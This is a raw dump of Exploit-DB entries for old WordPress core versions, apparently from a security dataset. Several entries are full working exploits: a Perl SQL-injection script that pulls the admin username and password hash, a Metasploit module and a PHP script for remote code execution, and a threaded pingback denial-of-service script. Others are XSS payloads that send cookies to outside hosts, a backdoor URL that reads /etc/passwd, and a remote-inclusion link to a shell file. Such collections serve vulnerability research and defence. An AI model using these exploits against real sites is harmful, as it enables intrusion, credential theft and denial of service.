deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24990
Description: WordPress Core 1.2.1/1.2.2 - 'link-add.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-12-16
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11984/info
  
Wordpress is reported vulnerable to multiple cross-site scripting, HTML injection, and SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied data.
  
The cross-site scripting and HTML injection issues could permit a remote attacker to create a malicious URI link, or post data to the affected application that includes hostile HTML and script code. If this link were to be followed, or resulting pages were to be viewed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
  
An attacker may exploit the SQL injection issues to manipulate SQL queries to the underlying database. This may facilitate theft of sensitive information, potentially including authentication credentials, and data corruption.

http://www.example.com/wp-admin/link-add.php?linkurl=[XSS]
http://www.example.com/wp-admin/link-add.php?name=[XSS]
Exploit-DB #24991
Description: WordPress Core 1.2.1/1.2.2 - 'link-categories.php?cat_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-16
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11984/info
   
Wordpress is reported vulnerable to multiple cross-site scripting, HTML injection, and SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied data.
   
The cross-site scripting and HTML injection issues could permit a remote attacker to create a malicious URI link, or post data to the affected application that includes hostile HTML and script code. If this link were to be followed, or resulting pages were to be viewed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
   
An attacker may exploit the SQL injection issues to manipulate SQL queries to the underlying database. This may facilitate theft of sensitive information, potentially including authentication credentials, and data corruption.

http://www.example.com/wp-admin/link-categories.php?cat_id=[XSS]&action=Edit
Exploit-DB #24992
Description: WordPress Core 1.2.1/1.2.2 - 'link-manager.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-12-16
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11984/info
    
Wordpress is reported vulnerable to multiple cross-site scripting, HTML injection, and SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied data.
    
The cross-site scripting and HTML injection issues could permit a remote attacker to create a malicious URI link, or post data to the affected application that includes hostile HTML and script code. If this link were to be followed, or resulting pages were to be viewed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
    
An attacker may exploit the SQL injection issues to manipulate SQL queries to the underlying database. This may facilitate theft of sensitive information, potentially including authentication credentials, and data corruption.

http://www.example.com/wp-admin/link-manager.php?order_by=[XSS]
http://www.example.com/wp-admin/link-manager.php?cat_id=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_url=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_name=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_description=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_rel=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_image=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_rss_uri=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_notes=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&link_id=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&order_by=[XSS]
http://www.example.com/wp-admin/link-manager.php?action=linkedit&cat_id=[XSS]
Exploit-DB #24993
Description: WordPress Core 1.2.1/1.2.2 - 'moderation.php?item_approved' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-16
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11984/info
     
Wordpress is reported vulnerable to multiple cross-site scripting, HTML injection, and SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied data.
     
The cross-site scripting and HTML injection issues could permit a remote attacker to create a malicious URI link, or post data to the affected application that includes hostile HTML and script code. If this link were to be followed, or resulting pages were to be viewed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
     
An attacker may exploit the SQL injection issues to manipulate SQL queries to the underlying database. This may facilitate theft of sensitive information, potentially including authentication credentials, and data corruption.

http://www.example.com/wp-admin/moderation.php?action=update&item_approved=[XSS]
Exploit-DB #25682
Description: WordPress Core 1.5 - 'post.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-17
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/13663/info

Wordpress is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/wp-admin/post.php?action=confirmdeletecomment&comment=1&p=[XSS]
Exploit-DB #1033
Description: WordPress Core 1.5.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2005-06-22
Author: Alberto Trivero

Exploit:
#!/usr/bin/perl -w
#
# SQL Injection Exploit for WordPress <= 1.5.1.1
# This exploit shows the username of the administrator of the blog and his
# password crypted in MD5, you must only choose the correct version of the target
# Related advisory: http://www.gentoo.org/security/en/glsa/glsa-200506-04.xml
# Patch: download the last version at http://wordpress.org/download/
# Coded by Alberto Trivero

use LWP::Simple;

print "\n\t====================================\n";
print "\t= Exploit for WordPress <= 1.5.1.1 =\n";
print "\t=        by Alberto Trivero        =\n";
print "\t====================================\n\n";

if(!$ARGV[0] or !($ARGV[0]=~m/http/) or !($ARGV[1]==1 or $ARGV[1]==2)) {
   print "Usage:\nperl $0 [full_target_path] [target_version: 1 OR 2]\nVersion 1: WordPress <= 1.5\nVersion 2: WordPress 1.5.1 - 1.5.1.1\n\n";
   print "Examples:\nperl $0 http://www.example.com/wordpress/ 2\n";
   exit(0);
}

$page=get($ARGV[0]."index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==1);
$page=get($ARGV[0]."index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==2);
print "[+] Connected to: $ARGV[0]\n";
$page=~m/:([a-f0-9]{32}):(.*?):/;
print "[+] Username of administrator is: $2\n" if($2);
print "[+] MD5 hash of password is: $1\n" if($1);
print "[-] Unable to retrieve username\n" if(!$2);
print "[-] Unable to retrieve hash of password\n" if(!$1);

# milw0rm.com [2005-06-22]
Exploit-DB #16895
Description: WordPress Core 1.5.1.3 - 'cache_lastpostdate' Arbitrary Code Execution (Metasploit)
Type: webapps
Platform: php
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: php_wordpress_lastpost.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits an arbitrary PHP code execution flaw in the WordPress
				blogging software. This vulnerability is only present when the PHP 'register_globals'
				option is enabled (common for hosting providers). All versions of WordPress prior to
				1.5.1.3 are affected.
			},
			'Author'         => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					['CVE', '2005-2612'],
					['OSVDB', '18672'],
					['BID', '14533'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 512,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 9 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
			], self.class)
	end

	def exploit

		enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
		str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
		data =
			"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
			"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
			"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
			";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
			"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
			"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

		# Trigger the command execution bug
		res = send_request_cgi({
				'uri'      => datastore['URI'],
				'cookie'   => data
			}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		else
			print_status("No response from the server")
		end
	end

end
Exploit-DB #1142
Description: WordPress Core 1.5.1.3 - Remote Code Execution
Type: webapps
Platform: php
Date: 2005-08-09
Author: Kartoffelguru

Exploit:
<?php
    echo "Wordpress <= 1.5.1.3 - remote code execution 0-DDAAYY exploit\n";
    echo "(C) Copyright 2005 Kartoffelguru\n\n";
    echo "[!] info: requires register_globals turned on on target host\n\n";
    if (!extension_loaded('curl')) {
        die ("[-] you need the curl extension activated...\n");
    }

    function usage()
    {
        die ("usage:\n\t./wpx.php -h http://www.xyz.net/blog/ -c 'system(\"uname -a;id\");'\n\n");
    }

    $options = getopt("h:c:");
    if (count($options) < 1 || !isset($options['h'])) {
        usage();
    }

    $host = (is_array($options['h']) ? $options['h'][0]:$options['h']);
    $cmd  = (is_array($options['c']) ? $options['c'][0]:$options['c']);

    if (!preg_match("/^http:\/\//", $host, $dummy)) {
        usage();
    }

    if (strlen(trim($cmd))==0) {
        $cmd = 'phpinfo();';
    }

    $code = base64_encode($cmd);
    $cnv = "";
    for ($i=0;$i<strlen($code); $i++) {
        $cnv.= "chr(".ord($code[$i]).").";
    }
    $cnv.="chr(32)";

    $str = base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

    $cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;';
    $cookie.='wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;';
    $cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
    $cookie.=$str;
    $cookie.=';wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;';
    $cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;';
    $cookie.='wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;';

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $host);
    curl_setopt($ch, CURLOPT_POST, 0);
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_CURLOPT_REFERER, $host);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
    curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
    echo "[+] now executing\n\n";

    $r = curl_exec($ch);
    curl_close($ch);

    echo $r;

?>

// milw0rm.com [2005-08-09]
Exploit-DB #29356
Description: WordPress Core 1.x/2.0.x - 'template.php' HTML Injection
Type: webapps
Platform: php
Date: 2006-12-27
Author: David Kierznowski

Exploit:
source: https://www.securityfocus.com/bid/21782/info

Wordpress is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input. 

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to 2.0.6 are vulnerable to this issue.

< img src='https://wordpress-site/wp/wp-admin/templates.php?file=< img src=%27%27 onerror="javascript: var s=(document.location.toString().charAt(6)); var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27); document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">' >
Exploit-DB #29598
Description: WordPress Core 1.x/2.0.x - 'Templates.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-12
Author: PsychoGun

Exploit:
source: https://www.securityfocus.com/bid/22534/info

WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wordpress/wp-admin/templates.php?action=update&file=<script>alert("Faille Xss")</script>&submit=Update+File+%C2%BB
Exploit-DB #29522
Description: WordPress Core 1.x/2.0.x - Pingback SourceURI Denial of Service / Information Disclosure
Type: webapps
Platform: php
Date: 2007-01-24
Author: Blake Matheny

Exploit:
source: https://www.securityfocus.com/bid/22220/info

WordPress is prone to a denial-of-service vulnerability and an information-disclosure vulnerability.

Attackers can exploit these issues to consume memory and bandwidth resources, denying service to legitimate users, or to gain information that may aid in further attacks.

Versions prior to WordPress 2.1 are vulnerable. 

#!/bin/env python
# vim:ft=python:fileencoding=utf-8
#
from xmlrpclib import ServerProxy
from urllib import urlopen
from random import randint
	from threading import Thread
 	
# Define target
targetURL = "http://www.example.com/file.html"
hugeFile  = "http://www.example.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d"
 	
# Fetch Pingback-URL
pingbackURL =  urlopen(targetURL).headers["X-Pingback"]
print "Target URL: %s\nPingback:   %s" % (targetURL, pingbackURL)
 	
# Attack
def attack():
  server = ServerProxy(pingbackURL)
  try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL)
  except: pass
for i in range(50):
  Thread(target=attack).start()
print "-- attacking --"
Exploit-DB #30602
Description: WordPress Core 2.0 - 'wp-register.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-09-22
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/25769/info

WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects WordPress 2.0; other versions may also be affected. 

<html>
<head></head>
<body>

<form method="post" action="http://target/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
Exploit-DB #27227
Description: WordPress Core 2.0 - Comment Post HTML Injection
Type: webapps
Platform: php
Date: 2006-02-15
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16656/info

WordPress is prone to an HTML-injection vulnerability. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

WordPress version 2.0.0 is reportedly vulnerable; other versions may also be affected.

An example has been provided:

<strong>author's website</strong>:
<strong>" onfocus="alert(1)" onblur="alert(1)</strong>
Exploit-DB #10088
Description: WordPress Core 2.0 < 2.7.1 - 'admin.php' Module Configuration Security Bypass
Type: webapps
Platform: php
Date: 2009-11-10
Author: Fernando Arnaboldi

Exploit:
An attacker can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/wp-admin/admin.php?page=/collapsing-archives/options.txt
http://www.example.com/wp-admin/admin.php?page=akismet/readme.txt
http://www.example.com/wp-admin/admin.php?page=related-ways-to-take-action/options.php
http://www.example.com/wp-admin/admin.php?page=wp-security-scan/securityscan.php
Exploit-DB #38924
Description: WordPress Core 2.0.11 - '/wp-admin/options-discussion.php' Script Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-12-17
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/64564/info

WordPress is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

WordPress 2.0.11 is vulnerable.

http://www.example.com/wp-admin/options-discussion.php?action=retrospam&move=true&ids=1
Exploit-DB #28980
Description: WordPress Core 2.0.5 - 'functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-11
Author: _ANtrAX_

Exploit:
source: https://www.securityfocus.com/bid/21004/info

WordPress is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

WordPress version 2.0.5 is vulnerable.

The vulnerability described in this BID is not exploitable, as the parameter specified can not contain user-specified data. This BID is therefore being retired.

http://www.example.com/wp-includes/functions.php?file=http://www.example2.com/shell.txt?
Exploit-DB #29702
Description: WordPress Core 2.1.1 - '/wp-includes/theme.php?iz' Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2007-03-02
Author: Ivan Fratric

Exploit:
source: https://www.securityfocus.com/bid/22797/info
 
An attacker compromised the source code for Wordpress 2.1.1 and altered it to include a malicious backdoor. This backdoor introduces a code-execution vulnerability that will let remote users inject PHP code or execute operating system commands.
 
The vendor has acknowledged this vulnerability and recommends that all users who have installed version 2.1.1 upgrade to version 2.1.2 or later. This issue appears limited to the 2.1.1 release.
 
http://www.example.com/wp-includes/theme.php?iz=cat /etc/passwd
Exploit-DB #29682
Description: WordPress Core 2.1.1 - 'post.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-26
Author: Samenspender

Exploit:
source: https://www.securityfocus.com/bid/22735/info

Wordpress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Wordpress 2.1.1 is vulnerable to this issue; other versions may also be affected. 

Cookie in an Alert Box: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Clol= %27'></iframe> Cookie send to an Evil Host: <iframe width=600 height=400 src='http://www.example.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Eimage=document.createElement(%27img%27);im age.src=%27http://www.example.com/datagrabber.php?cookie=%27%2bdocument.cookie;%3C/script%3E%3Clol=%27'></iframe>
Exploit-DB #29701
Description: WordPress Core 2.1.1 - Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2007-03-02
Author: Ivan Fratric

Exploit:
source: https://www.securityfocus.com/bid/22797/info

An attacker compromised the source code for Wordpress 2.1.1 and altered it to include a malicious backdoor. This backdoor introduces a code-execution vulnerability that will let remote users inject PHP code or execute operating system commands.

The vendor has acknowledged this vulnerability and recommends that all users who have installed version 2.1.1 upgrade to version 2.1.2 or later. This issue appears limited to the 2.1.1 release.

http://www.example.com/wp-includes/feed.php?ix=phpinfo();